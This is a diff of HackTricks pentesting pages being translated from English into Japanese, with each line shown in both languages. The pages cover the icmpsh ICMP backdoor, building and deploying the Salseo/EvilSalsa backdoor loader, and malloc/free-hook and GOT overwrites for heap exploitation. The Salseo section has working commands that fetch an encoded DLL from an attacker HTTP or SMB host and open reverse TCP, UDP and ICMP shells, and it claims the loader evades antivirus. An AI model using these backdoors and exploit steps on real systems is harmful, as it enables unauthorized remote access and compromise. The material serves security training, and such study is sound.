WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください! WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください!
上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。** 上記に加えて、WebSecは**HackTricksの熱心なサポーター**でもあります。
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## License & Disclaimer ## License & Disclaimer
チェックしてください: 彼らを確認してください:
{{#ref}} {{#ref}}
welcome/hacktricks-values-and-faq.md welcome/hacktricks-values-and-faq.md

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md) - [Cookies Policy](todo/cookies-policy.md)

View File

@ -4,11 +4,11 @@
## ロックされたデバイス ## ロックされたデバイス
Androidデバイスからデータを抽出するには、デバイスのロックを解除する必要があります。ロックされている場合は、次のことができます Androidデバイスからデータを抽出するには、デバイスのロックを解除する必要があります。ロックされている場合は、次のことができます
- デバイスUSB経由のデバッグが有効になっているか確認す - デバイスUSB経由のデバッグが有効になっているか確認します。
- 可能な[スムッジ攻撃](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)を確認す - 可能な[スムッジ攻撃](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)を確認します。
- [ブルートフォース](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)を試み - [ブルートフォース](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)を試みます
## データ取得 ## データ取得

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) バックドアをダウンロードする: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side # クライアント側
Execute the script: **run.sh** スクリプトを実行する: **run.sh**
**If you get some error, try to change the lines:**
**エラーが発生した場合は、行を変更してみてください:**
```bash ```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
``` ```
**対象:**
**For:**
```bash ```bash
echo Please insert the IP where you want to listen echo Please insert the IP where you want to listen
read IP read IP
``` ```
# **被害者側**
# **Victim Side** **icmpsh.exe** を被害者にアップロードし、実行します:
Upload **icmpsh.exe** to the victim and execute:
```bash ```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128 icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Compiling the binaries ## バイナリのコンパイル
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**がインストールされている必要があります。
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). 使用するWindowsボックスのアーキテクチャに合わせてこれらのプロジェクトをコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルしてください
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** **Visual Studio**の**左側の「Build」タブ**の**「Platform Target」**で**アーキテクチャを選択**できます。
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**) (\*\*このオプションが見つからない場合は、**「Project Tab」**を押してから**「\<Project Name> Properties」**を選択してください)
![](<../images/image (132).png>) ![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): 次に、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます
![](<../images/image (1) (2) (1) (1) (1).png>) ![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor ## バックドアの準備
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: まず、**EvilSalsa.dll**をエンコードする必要があります。そのためには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます。
### **Python** ### **Python**
``` ```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE> python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
``` ```
### ウィンドウズ
### Windows
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
わかりました、今すぐすべてのSalseoのことを実行するために必要なものがあります: **エンコードされたEvilDalsa.dll**と**SalseoLoaderのバイナリ**です。
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** **SalseoLoader.exeバイナリをマシンにアップロードします。どのAVにも検出されないはずです...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** ## **バックドアを実行する**
## **Execute the backdoor** ### **TCPリバースシェルを取得するHTTPを通じてエンコードされたdllをダウンロードする**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
ncをリバースシェルリスナーとして起動し、エンコードされたevilsalsaを提供するHTTPサーバーを起動することを忘れないでください。
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **UDPリバースシェルの取得SMBを通じてエンコードされたdllをダウンロード**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)** リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためにSMBサーバーを起動することを忘れないでください。
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **ICMPリバースシェルの取得被害者の中にエンコードされたdllが既に存在する**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)** **今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロードしてください:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
#### **ICMP応答を無効にする:**
``` ```
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running: #You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
#### クライアントを実行する:
#### Execute the client:
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### 被害者の内部で、salseoのことを実行しましょう:
#### Inside the victim, lets execute the salseo thing:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## SalseoLoaderをDLLとしてコンパイルし、メイン関数をエクスポートする
## Compiling SalseoLoader as DLL exporting main function Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
Open the SalseoLoader project using Visual Studio. ### メイン関数の前に追加: \[DllExport]
### Add before the main function: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project ### このプロジェクトにDllExportをインストールする
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** #### **ツール** --> **NuGetパッケージマネージャー** --> **ソリューションのNuGetパッケージを管理...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** #### **DllExportパッケージを検索ブラウズタブを使用、インストールを押すポップアップを受け入れる**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** プロジェクトフォルダーに**DllExport.bat**と**DllExport_Configure.bat**のファイルが表示されます。
### **U**ninstall DllExport ### **U**ninstall DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary) **アンインストール**を押します(変ですが、信じてください、必要です)
![](<../images/image (5) (1) (1) (2) (1).png>) ![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure** ### **Visual Studioを終了し、DllExport_configureを実行する**
Just **exit** Visual Studio ただ**終了**します
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** 次に、**SalseoLoaderフォルダー**に移動し、**DllExport_Configure.bat**を実行します。
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** **x64**を選択しますx64ボックス内で使用する場合、私のケースです、**System.Runtime.InteropServices**を選択します(**DllExportの名前空間内**)そして**適用**を押します。
![](<../images/image (7) (1) (1) (1) (1).png>) ![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio** ### **Visual Studioでプロジェクトを再度開く**
**\[DllExport]** should not be longer marked as error **\[DllExport]**はもはやエラーとしてマークされていないはずです。
![](<../images/image (8) (1).png>) ![](<../images/image (8) (1).png>)
### Build the solution ### ソリューションをビルドする
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) **出力タイプ = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ)
![](<../images/image (10) (1).png>) ![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) **x64** **プラットフォーム**を選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64
![](<../images/image (9) (1) (1).png>) ![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) ソリューションを**ビルド**するには: ビルド --> ソリューションのビルド出力コンソール内に新しいDLLのパスが表示されます
### Test the generated Dll ### 生成されたDllをテストする
Copy and paste the Dll where you want to test it. テストしたい場所にDllをコピーして貼り付けます。
Execute:
実行:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
エラーが表示されない場合、おそらく機能するDLLがあります!!
If no error appears, probably you have a functional DLL!! ## DLLを使用してシェルを取得する
## Get a shell using the DLL **HTTP** **サーバー**を使用し、**nc** **リスナー**を設定することを忘れないでください。
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
### Powershell ### Powershell
``` ```
$env:pass="password" $env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD ### CMD
``` ```
set pass=password set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP] > [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\ > AWSハッキングを学び、実践する<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"> > GCPハッキングを学び、実践する<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> >
> <details> > <details>
> >
> <summary>Support HackTricks</summary> > <summary>HackTricksをサポートする</summary>
> >
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! > - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** > - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
> >
> </details> > </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec # 任意書き込み2実行

View File

@ -4,34 +4,32 @@
## **Malloc Hook** ## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. 公式GNUサイトにあるように、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される**関数のアドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出すことで、libcがヒープに割り当てるためにmallocを呼び出すように、あまりにも多くのバイトを割り当てることができます**。
More info about One Gadget in: One Gadgetに関する詳細は以下を参照してください
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md ../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}} {{#endref}}
> [!WARNING] > [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). > GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。詳細は[https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)を参照してください。
## Free Hook ## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: これは、未整列ビン攻撃を悪用した後にファストビン攻撃を悪用したページの例の1つで悪用されました
{{#ref}} {{#ref}}
../libc-heap/unsorted-bin-attack.md ../libc-heap/unsorted-bin-attack.md
{{#endref}} {{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: バイナリにシンボルがある場合、次のコマンドで`__free_hook`のアドレスを見つけることができます:
```bash ```bash
gef➤ p &__free_hook gef➤ p &__free_hook
``` ```
[投稿](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)では、シンボルなしでfree hookのアドレスを特定する手順が説明されています。要約すると、free関数内で
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free <pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx 0xf75dedc0 &#x3C;free>: push ebx
@ -45,26 +43,26 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144> 0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre> </code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook. 前述のコードのブレークポイントで、$eaxにはfree hookのアドレスが格納されます。
Now a **fast bin attack** is performed: 次に、**fast bin attack**が実行されます:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - まず、**`__free_hook`**の位置でサイズ200のfast **chunks**を扱うことが可能であることが発見されます:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook - <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook> $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 <strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 </strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre> </code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - この位置でサイズ0x200のfast chunkを取得できれば、実行される関数ポインタを上書きすることが可能です。
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - そのために、サイズ`0xfc`の新しいchunkを作成し、そのポインタを使ってマージされた関数を2回呼び出します。こうすることで、fast bin内のサイズ`0xfc*2 = 0x1f8`の解放されたchunkへのポインタを取得します。
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - 次に、このchunkのedit関数を呼び出して、このfast binの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - その後、サイズ`0x1f8`のchunkを作成して、fast binから前の無駄なchunkを取得し、さらにサイズ`0x1f8`のchunkを作成して**`__free_hook`**内のfast bin chunkを取得し、**`system`**関数のアドレスで上書きします。
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - 最後に、文字列`/bin/sh\x00`を含むchunkを削除関数を呼び出して解放し、**`__free_hook`**関数をトリガーし、`/bin/sh\x00`をパラメータとしてsystemを指すようにします。
## References ## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

View File

@ -2,63 +2,63 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **Basic Information** ## **基本情報**
### **GOT: Global Offset Table** ### **GOT: グローバルオフセットテーブル**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. **グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するためのメカニズム**です。これらの**アドレスは実行時まで知られない**ため動的リンクのため、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、動的リンカーによってその実際のアドレスが解決され、GOTに保存されます**。同じ関数への後続の呼び出しは、GOTに保存されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。
### **PLT: Procedure Linkage Table** ### **PLT: プロシージャリンクテーブル**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. **プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に保存されます。
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. **したがって、** GOTエントリは外部関数または変数のアドレスが解決された後に直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます。**
## Get Execution ## 実行を取得
### Check the GOT ### GOTを確認
Get the address to the GOT table with: **`objdump -s -j .got ./exec`** GOTテーブルのアドレスを取得するには、**`objdump -s -j .got ./exec`**を使用します。
![](<../../images/image (121).png>) ![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` GEFで**実行可能ファイル**を**読み込む**と、**GOT**にある**関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) ![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます。
![](<../../images/image (496).png>) ![](<../../images/image (496).png>)
### GOT2Exec ### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. バイナリ内のGOTは、関数の**アドレス**またはその関数アドレスを読み込む**PLT**セクションのアドレスを持っています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします。
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). 理想的には、**あなたが制御するパラメータで呼び出される関数の**GOTを**上書き**しますこれにより、system関数に送信されるパラメータを制御できます
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. もし**`system`** **がバイナリで使用されていない場合**、system関数はPLTにエントリを持ちません。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます。
## libc GOT entries ## libc GOTエントリ
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). **libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できる場合には良いターゲットとなります([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. libcの一般的な関数は、**他の内部関数**を呼び出し、そのGOTを上書きすることでコード実行を得ることができます。
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). [**この技術に関する詳細情報はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。
### **Free2system** ### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. ヒープのエクスプロイトCTFでは、チャンクの内容を制御でき、時にはGOTテーブルを上書きすることが一般的です。利用できるガジェットがない場合にRCEを得るための簡単なトリックは、`free`のGOTアドレスを`system`を指すように上書きし、チャンク内に`"/bin/sh"`を書き込むことです。このようにして、このチャンクが解放されると、`system("/bin/sh")`が実行されます。
### **Strlen2system** ### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. もう一つの一般的な技術は、**`strlen`**のGOTアドレスを**`system`**を指すように上書きすることです。これにより、この関数がユーザー入力で呼び出されると、文字列`"/bin/sh"`を渡してシェルを取得することが可能になります。
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. さらに、`puts`がユーザー入力で使用される場合、`strlen`のGOTアドレスを`system`を指すように上書きし、文字列`"/bin/sh"`を渡してシェルを取得することが可能です。なぜなら、**`puts`はユーザー入力で`strlen`を呼び出すからです**。
## **One Gadget** ## **One Gadget**
@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
../rop-return-oriented-programing/ret2lib/one-gadget.md ../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}} {{#endref}}
## **Abusing GOT from Heap** ## **ヒープからのGOTの悪用**
